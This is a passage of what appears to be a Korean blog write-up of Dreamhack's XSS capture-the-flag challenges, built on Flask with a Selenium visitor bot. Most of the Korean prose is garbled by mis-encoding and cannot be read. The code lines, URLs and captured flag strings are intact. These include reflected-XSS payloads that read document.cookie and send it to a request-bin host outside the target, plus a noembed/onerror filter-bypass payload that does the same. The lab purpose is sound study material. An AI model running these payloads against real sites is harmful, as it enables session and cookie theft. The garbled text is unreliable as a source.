๋ฐฐ๊ฒฝ ์ง์
์ ๋ฌธ์ ๋ Flask ํ๋ ์์ํฌ๋ก ๊ตฌํ๋จ
XSS๋ฅผ ํตํด ๋ค๋ฅธ ์ด์ฉ์์ ์ฟ ํค๋ฅผ ํ์ทจํ๋ ๋ฌธ์ ๋ก ํด๋น ๋ฐฉ๋ฌธ ์๋๋ฆฌ์ค๊ฐ ์์ต๋๋ค
์ด๋ฐ ๊ธฐ๋ฅ์ ์
๋ ๋์ ํตํด ๊ตฌํ๋์์ต๋๋ค.
์
๋ ๋(Selenium)์ ์น App ํ
์คํ
์ ์ฌ์ฉ๋๋ ํ์ด์ฌ ๋ชจ๋๋ก, API๋ฅผ ํตํด ์ฐ๋ฒ ๋๋ผ์ด๋ธ(ํฌ๋กฌ ๋ฑ)๋ฅผ
์ฌ์ฉํ๋ฉฐ, ์์ฒญ๊ณผ ์๋ต๋ง ์ฒ๋ฆฌํ๋ libc์๋ ๋ค๋ฆ
๋๋ค.
์ด๋ ์๋ต์ ํฌํจ๋ Js, Css์ ๊ฐ์ ์น ๋ฆฌ์์ค๋ฅผ ์น ๋๋ผ์ด๋ฒ๋ฅผ ํตํด ํด์ ์คํํ๊ธฐ์ ๋ฐฉ๋ฌธ๊ณผ ๊ฐ์ ์ญํ ํจ
๋ฌธ์ ๋ชฉํ ๋ฐ ์์ฝ
์์ ๊ฐ์ ์ฌ์ค์ ํด๋น Wargame์์ ์ ๊ณตํ๋ app.py์ ๋ค์ด๊ฐ์ ํ์ธํด๋ณด์๋ฉด ๋์์
์๋ํฌ์ธํธ ๋ถ์
์๋ํฌ์ธํธ๋?
์๋ ค์ง ์ํ ๋ฐ ์๋ ค์ง์ง ์์ ์ํ์ผ๋ก๋ถํฐ ๊ธฐ์ ์ ๊ฒฝ๊ณ๋ก ๊ฐ์ฃผ๋๋ ์์
๋ณดํต์ ๊ฒฝ์ฐ์ HW์ ๊ด์ ์์ ๋ง์ด ์ฌ์ฉ๋จ
์๋ํฌ์ธํธ : /vuln
vuln ํ์ด์ง๋ฅผ ๊ตฌ์ฑํ๋ ์ฝ๋๋ก์จ, ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ์ด์ฉ์์๊ฒ ํด๋น ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐํํจ
์๋ํฌ์ธํธ : /memo
memo ํ์ด์ง๋ฅผ ๊ตฌ์ฑํ๋ ์ฝ๋๋ก, memo_text์ ๋น ๋ฌธ์์ด์ ์์ฒญ ๋ฐ์ ๊ฒ์ ๋ํ์ฌ
memo์ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ render_template ํจ์์ผ๋ก ๋ฐํํด์ฃผ๋ค์
์๋ํฌ์ธํธ : /flag
GET์ผ๋ก render_template์ ํจ์๊ฐ ํธ์ถ(memo์ ๋ฐํ์ด...)
POST๋ param ๊ฐ์ ๊ฐ์ ธ์ค๊ธฐ๋ ํ๊ณ flag์ ์ฟ ํค์ ๊ฐ์ด flag๋ผ๋ค์
์ทจ์ฝ์ ๋ถ์
vuln๊ณผ memo ์๋ํฌ์ธํธ๋ ์ด์ฉ์์ ์
๋ ฅ๊ฐ์ ํ์ด์ง์ ์ถ๋ ฅํฉ๋๋ค.
memo๋ render_template ํจ์๋ฅผ ์ฌ์ฉํด memo.html์ ์ถ๋ ฅํ์ฃ
render_template ํจ์๋ ์ ๋ฌ๋ ํ
ํ๋ฆฟ ๋ณ์๋ฅผ ๊ธฐ๋กํ ๋
HTML entity์ฝ๋๋ก ๋ณํ ์ ์ฅํด XSS๊ฐ ๋ฐ์ ๋ชป ํ์ฃ
๊ทธ๋ฌ๋ vuln์ ์ด์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ ํ์ด์ง์ ๊ทธ๋๋ก ์ถ๋ ฅํ๊ธฐ์ ์ทจ์ฝํ๋ต๋๋ค.
ํต์ฌ ๋ช ๋ น์ด
๋ฌธ์ ํด๊ฒฐ์ ์์ด์ /vuln์ ์๋ ์๋ํฌ์ธํธ์ ๊ฐ์ ์ป๊ธฐ ์ํด XSS ์ทจ์ฝ์ ์ ์ด๋ ค์ผํฉ๋๋ค.
๊ทธ๋ฌ๊ธฐ ์ํด ํ์ทจํ ์ฟ ํค ๊ฐ์ ์ป๊ธฐ ์ํด ์ธ๋ถ์ ์ ๊ทผ ๊ฐ๋ฅํ ์ฌ์ดํธ ์ฌ์ฉ or memo ์๋ํฌ์ธํธ ํ์ฉ
๋ค์ ํ๋ ๊ณต๊ฒฉ์ ์ฌ์ฉ๋ ํต์ฌ์ ์ธ ์ฝ๋์ด๋ฉฐ, ์์ธํ ์ค๋ช ์ ํจ๊ป ์ฝ์ด์ฃผ์ธ์
์ฟ ํค ํ์ทจ
์ฌ๋ฌ๊ฐ์ง์ ๋ฐฉ๋ฒ์ ํ์ฉํ ์ ์์ผ๋ฉฐ, ํฌ๊ฒ 2๊ฐ์ง์ ๊ด์ ์์ ์ ๊ทผํด๋ด ์๋ค
memo ํ์ด์ง ํ์ฉ
<script>location.href='/memo?memo=' + document.cookie;</script>
์์ ๊ฐ์ด flag์ ์์น์์ ๋ช ๋ น์ด๋ฅผ ์ฝ์ ํด XSS(reflected XSS)๊ฐ ์คํ๋ฉ๋๋ค.
๋ค์ ๋ฐฉ์์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํ ์ฌ์ดํธ๋ฅผ ํ์ฉํด ์
๋ ฅ๋ฐ๋ ๋ฐฉ์์ผ๋ก ์๊น POST๋ก flag๋ฅผ ์ ๋ฌํด์ฃผ๋ ๋ถ๋ถ ํ์ฉ
๊ทผ๋ฐ ๋ฐ์ ๋๋ GET ๋ฐฉ์์ผ๋ก ๋ฐ์ต๋๋ค ใ
ใ
์น ์๋ฒ ํ์ฉ
์ธ๋ถ์์ ์ ๊ทผ ๊ฐ๋ฅํ ์น ์๋ฒ๋ฅผ ํ์ฉํ๋ฉด ๋๋ฉฐ, ์ฌ๊ธฐ์ Dreamhack tools๋ผ๋ ๊ฒ์ ์ด์ฉํฉ์๋ค.
ํด๋น Request Bin๋ถ๋ถ์ ํ์ฉํด ๋งํฌ ์์ฑ ํ...
<script>location.href='https://ntgtpnz.request.dreamhack.games/?memo' + document.cookie;</script>
๊ทธ๋ผ ์ด์ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก ๋ฌธ์ ํด๊ฒฐ์ ์ผ๋ฌด์ง๊ฒ ํ๋ค์ ใ
DH{2c01577e9542ec24d68ba0ffb846508e}
์์๋์ด์ผ ํ ๋ถ๋ถ
XSS ๊ณต๊ฒฉ์ ์ฃผ๋ก ์ด์ฉ์์ ์
๋ ฅ๊ฐ์ด ์ถ๋ ฅ๋๋ ํ์ด์ง์์ ๋ฐ์ํ๋ฉฐ,
ํด๋น ๊ณต๊ฒฉ์ ํตํด ํ ์ด์ฉ์์ ๋ธ๋ผ์ฐ์ ์ ์ ์ฅ๋ ์ฟ ํค ๋ฐ ์ธ์
์ ๋ณด๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๋ฌธ์ ์ ์ ์
์ฑ ํ๊ทธ๋ฅผ ํํฐ๋งํ๋ HTML Sanitization์ ์ฌ์ฉํ๊ฑฐ๋
์ํฐํฐ์ฝ๋๋ก ์นํํ๋ ๋ฐฉ๋ฒ์ ํตํด ํด๊ฒฐํ๋ต๋๋ค
์ด ๋ฌธ์ ๋ ์์งํ ์ด์ ์ฝ๋๋ ์ ์ฌํ๊ณ ํํฐ๋ง๋ง ์ถ๊ฐ๋ ๋ชจ์ต๊ฐ์์ ๊ทธ ์ด์ ๋
xss ๊ทธ ์น ํ์ด์ง ๋ค์ด๊ฐ๋ฉด XSS๊ฐ ์คํ์ด ์๋๋๊น์ ์จ๋ ํ์ด๋ณด๋ฉด..
์ฌ์ค PortSwigger์ XSS_Cheat sheet์ ๊ฒ์ํด์ ๋์จ๊ฑฐ ์๋ฌด๊ฑฐ๋ ๋์
ํด ๋ฃ์ผ๋ฉด ๋๊ธด ํด์
๋ฌธ์ ๋ ํํฐ๋งํ๋ ์ฝ๋๋ถ๋ถ์ด ์ด๋์ธ์ง ์ ํ์ธ์ด ์๋๋๋ฐ ์๋ง flask Selenium์ ์์ด์
HTML Sanitization์ ํ์ฉํ ๊ฑฐ ๊ฐ๋ค์ ๊ทธ๋์ ๋์
ํด ํ์ด๋ณด๋ฉด..
<noembed><img title="</noembed><img src onerror=location.href="https://ikeagjn.request.dreamhack.games/?memo="+document.cookie;>"></noembed>
๊ทธ๋ฅ ์ต์ ๊ฑฐ ๋ฃ์ด์ ๋์ ํด๋ณด์๋ฉด ๋๊ณ ํด๋น ํ ๊ทธ์ ๊ดํ ๋ด์ฉ์ ๊ณต๋ถํ์๋ฉด ๋๊ณ ..
DH{3c01577e9542ec24d68ba0ffb846508f}
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐โDreamhack_War_Game' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] CSRF-1/2 - WriteUp (0) | 2022.06.24 |
---|---|
funjs (0) | 2022.06.20 |
command-injection-1 (0) | 2022.04.07 |